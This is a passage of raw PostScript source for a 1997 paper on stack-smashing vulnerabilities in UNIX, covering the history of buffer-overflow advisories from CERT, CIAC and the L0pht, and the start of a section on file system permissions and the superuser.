-0.400 0 (e)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (a)A (n)S 14.000 0 32 -3.000 0 (y )D (popu)S 0.200 0 (l)A -0.400 0 (a)A 11.300 0 32 -0.300 0 (r )D -0.200 0 (UN)A -2.300 0 (I)A 11.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 12.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 11.000 0 32 (, )W -0.400 0 (a)A 11.000 0 32 (nd v)W -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A (ou)S 10.900 0 32 0.100 0 (s )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.068 0 (network service utilities and servers.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1035 M -0.700 0 (B)A -0.400 0 (a)A 0.100 0 (s)A -0.400 0 (e)A 4.000 0 32 (d on )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D (o)S 4.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 4.000 0 32 (d b)W 7.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (a)A (n)S 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 4.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 5.000 0 32 (h )W -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A 30.100 0 32 -0.100 0 (T )D -0.400 0 (a)A 30.000 0 32 (nd )W 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 0.300 0 (C)A 30.000 0 32 (, )W 29.800 0 32 0.200 0 (it i)D 29.900 0 32 0.100 0 (s )D (no)S 29.800 0 32 0.200 0 (t )D (d)S 0.200 0 (i)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A (u)S 29.800 0 32 0.200 0 (lt t)D 30.000 0 32 (o und)W -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 30.000 0 32 (nd ho)W 31.200 0 32 -0.200 0 (w )D -0.400 0 (c)A (o)S 0.200 0 (mm)A 31.000 0 32 (on bu)W -0.300 0 (ff)A -0.400 0 (e)A 31.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 30.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A -0.400 0 (c)A (o)S -0.300 0 (r)A 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 1.400 0 32 -0.400 0 (ce )D (o)S 1.300 0 32 -0.300 0 (f )D 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 1.000 0 32 (. )W -0.200 0 (N)A (o)S 0.800 0 32 0.200 0 (t )D 1.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 1.200 0 32 -0.200 0 (w )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D -0.300 0 (f)A (o)S 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 40.000 0 32 (, )W 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A 40.100 0 32 -0.100 0 (T )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 39.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 39.800 0 32 0.200 0 (m )D -0.400 0 (a)A 39.900 0 32 0.100 0 (s )D 0.200 0 (l)A (on)S 41.000 0 32 -1.000 0 (g )D -0.400 0 (a)A -1.000 0 (g)A 40.000 0 32 (o )W -0.400 0 (a)A 39.900 0 32 0.100 0 (s )D 40.000 0 32 (1989 )W 0.100 0 (s)A (p)S -0.400 0 (ea)A 40.000 0 32 (k o)W 41.300 0 32 -0.300 0 (f \221)D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 41.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A -0.300 0 (\222)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A ; : 1111 1727 3772 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 1184 1727 M 0.500 0 (7)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1218 1743 M 30.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 30.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A 31.400 0 32 -0.400 0 (e )D (o)S 31.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 31.400 0 32 -0.400 0 (e )D (ob)S 0.100 0 (s)A (o)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A 31.400 0 32 -0.400 0 (e )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 30.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S 31.400 0 32 -0.400 0 (e )D (o)S 0.200 0 (l)A 31.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 9.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 9.800 0 32 0.200 0 (t i)D 10.000 0 32 (n )W 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 10.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 9.900 0 32 0.100 0 (s )D -0.400 0 (a)A 11.000 0 32 (nd )W 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 10.900 0 32 0.100 0 (s )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (c)A (u)S 0.100 0 (ss)A -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (i)A 11.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 10.900 0 32 0.100 0 (s )D (3.1.)S -0.400 0 (a)A -0.300 0 (-)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M 34.000 0 32 (3.1.d. )W 35.000 0 32 ( )W -2.300 0 (I)A 35.000 0 32 (n )W 0.200 0 (li)A -1.000 0 (g)A (h)S 34.800 0 32 0.200 0 (t )D (o)S 35.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 35.400 0 32 -0.400 0 (e )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A 0.100 0 (s)A 35.000 0 32 (, )W 0.200 0 (i)A (n)S -0.300 0 (-)A (d)S -0.400 0 (e)A (p)S 0.200 0 (t)A 35.000 0 32 (h )W 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (ti)A 35.000 0 32 (on )W -0.400 0 (a)A 35.000 0 32 (nd pub)W 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (it)A 38.000 0 32 -3.000 0 (y )D (o)S 35.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 35.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M -0.142 0 (vulnerabilities seems essential in addressing modern UNIX security.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 2452 M 0.500 0 (3)A -0.250 0 (.)A -0.750 0 32 0.500 0 (2 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 788 2452 M -0.011 0 (Underground Community)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2657 M -0.200 0 (N)A (o)S 48.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 52.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A 49.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 49.800 0 32 0.200 0 (l )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 49.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 50.000 0 32 (d b)W 53.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 50.400 0 32 -0.400 0 (e aca)D (d)S -0.400 0 (e)A 0.200 0 (mi)A 50.400 0 32 -0.400 0 (c a)D 50.000 0 32 (nd p)W -0.300 0 (r)A (o)S -0.300 0 (f)A -0.400 0 (e)A 0.100 0 (ss)A 0.200 0 (i)A (on)S -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 21.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 22.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 25.000 0 32 -3.000 0 (y )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 21.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 22.400 0 32 -0.400 0 (e a)D 0.200 0 (l)A 0.100 0 (s)A 22.000 0 32 (o )W -0.200 0 (w)A -0.400 0 (e)A 21.800 0 32 0.200 0 (ll )D (kno)S -0.200 0 (w)A 22.000 0 32 (n )W -0.400 0 (a)A 22.000 0 32 (nd u)W 0.100 0 (s)A -0.400 0 (e)A 22.000 0 32 (d b)W 25.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3011 M (und)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.300 0 (r)A 1.000 0 32 (ound )W -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 1.000 0 32 (. )W -0.600 0 (F)A (o)S 1.300 0 32 -0.300 0 (r )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 1.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F7) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F7_100) cvn F7 100 xF F7_100 Ji 2231 3011 M 0.400 0 (T)A (h)S 1.400 0 32 -0.400 0 (e )D 0.400 0 (L)A (0ph)S 0.200 0 (t)A ; : 2563 2995 2320 76 rc 0 0 0 sco (F7_67) cvn F7 67 xF F7_67 Ji 2641 2995 M 0.500 0 (8)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2675 3011 M 1.000 0 32 (, )W 1.400 0 32 -0.400 0 (a )D (und)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.300 0 (r)A 1.000 0 32 (ound o)W -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (a)A (n)S 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on )W 0.200 0 (i)A 1.000 0 32 (n )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D -0.700 0 (B)A (o)S 0.100 0 (s)A 0.200 0 (t)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3188 M -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (ea a)D 0.200 0 (l)A 0.100 0 (s)A 1.000 0 32 (o pub)W 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 0.900 0 32 0.100 0 (s s)D -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 4.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 0.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 2.000 0 32 (, )W 0.200 0 (i)A 2.000 0 32 (n )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A (nn)S -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 1.800 0 32 0.200 0 (t )D 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A 2.100 0 32 -0.100 0 (T )D (o)S 2.300 0 32 -0.300 0 (r )D 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 1.700 0 32 0.300 0 (C )D (do)S -0.400 0 (e)A 0.100 0 (s)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3365 M -0.119 0 (Once again, buffer overflow vulnerabilities)A ; : 2264 3349 2619 76 rc 0 0 0 sco F2_67 Ji 2337 3349 M 0.500 0 (9)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2371 3365 M -0.105 0 ( are a common thread:)A ; : 522 5386 2880 94 rc 0 0 0 sco F2_83 Ji 612 5386 M 0.250 0 ( )A ; : 1152 5386 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5386 M 0.250 0 ( )A ; 612 5439 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5482 M (7)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 633 5487 M 0.179 0 ( ftp://cert.org:/pub/cert_advisories/obsolete_advisories)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5582 M (8)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 633 5587 M 0.192 0 ( http://www.l0pht.com)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5682 M (9)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 633 5687 M 0.173 0 ( http://www.l0pht.com/advisories.html)A ; LH savelevel1 restore pagesave restore (%%[ Page: 7 ]%%) = %%PageTrailer %%Page: 8 8 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (8)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2160 2321 M 0.035 0 (L0pht example 3.2.a)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 2468 M 0.100 0 (M)A (u)S -0.400 0 (c)A 7.000 0 32 (h )W 0.200 0 (li)A (k)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.200 0 (X)A 7.800 0 32 0.200 0 (t )D -2.100 0 (L)A 0.200 0 (i)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 8.400 0 32 -0.400 0 (e )D 8.000 0 32 (3.1.b, )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 11.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A 8.000 0 32 (d )W 0.200 0 (i)A 8.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 8.400 0 32 -0.400 0 (e )D (3.2.)S -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2645 M -0.400 0 (ca)A 16.000 0 32 (n b)W 16.400 0 32 -0.400 0 (e )D 0.200 0 (li)A (nk)S -0.400 0 (e)A 16.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 16.000 0 32 (h o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 16.300 0 32 -0.300 0 (r )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 15.900 0 32 0.100 0 (s )D 0.200 0 (i)A 16.000 0 32 (n )W 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (o)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 15.900 0 32 0.100 0 (s )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 17.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 16.000 0 32 (. )W 17.000 0 32 ( )W -2.300 0 (I)A 17.000 0 32 (n )W -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A 17.000 0 32 (, )W -0.400 0 (a)A (n)S 20.000 0 32 -3.000 0 (y )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2822 M -0.138 0 (programs linked with this library may be vulnerable to stack smashing holes.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 3178 M -0.151 0 (4. UNIX File System Permissions)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3412 M -2.300 0 (I)A 18.000 0 32 (n )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1036 3412 M (o)S -0.300 0 (r)A (d)S -0.400 0 (e)A 18.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 18.000 0 32 (o b)W -0.400 0 (e)A 0.200 0 (tt)A -0.400 0 (e)A 18.300 0 32 -0.300 0 (r )D (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 18.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 18.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 19.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 19.000 0 32 (, )W 18.800 0 32 0.200 0 (it i)D 18.900 0 32 0.100 0 (s )D -0.300 0 (f)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 18.800 0 32 0.200 0 (t )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 22.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3589 M (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 41.000 0 32 (nd )W -0.400 0 (ce)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 41.000 0 32 (n )W -0.300 0 (f)A -0.400 0 (ea)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 40.900 0 32 0.100 0 (s )D (o)S 41.300 0 32 -0.300 0 (f f)D 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 40.800 0 32 0.200 0 (m )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 40.900 0 32 0.100 0 (s )D 0.200 0 (i)A 42.000 0 32 (n )W 0.200 0 (t)A (h)S 42.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 42.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 43.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3766 M 0.400 0 (P)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 17.900 0 32 0.100 0 (s )D 0.200 0 (i)A 18.000 0 32 (n )W 0.200 0 (t)A (h)S 18.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 18.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 19.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 17.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A 18.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (d )W 0.100 0 (s)A (o)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (l)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 19.000 0 32 (n )W 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 3684 3766 M 0.100 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3851 3766 M 19.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (tim)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3943 M -0.400 0 (ca)A 0.200 0 (ll)A -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (up)S -0.400 0 (e)A -0.300 0 (r)A (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 10.000 0 32 (, )W -0.300 0 (r)A (oo)S 0.200 0 (t)A -1.000 0 (')A 9.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (lli)A (b)S 0.200 0 (ilit)A 13.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A (p)S -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 10.000 0 32 (d und)W -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 14.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (ond)S 0.200 0 (iti)A 11.000 0 32 (on )W 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4120 M -0.033 0 (execution. As Eugene Spafford states[6]:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4297 M -0.109 0 (\223The superuser is the main security weakness in the UNIX operating system.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4395 M -0.006 0 (Because the superuser can do anything, after a person gains superuser)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4493 M -0.013 0 (privileges - for example, by learning the root password and logging in as root)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4591 M -0.139 0 (- that person can do virtually anything to the system. This explains why most)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4689 M 0.002 0 (attackers who break into UNIX systems try 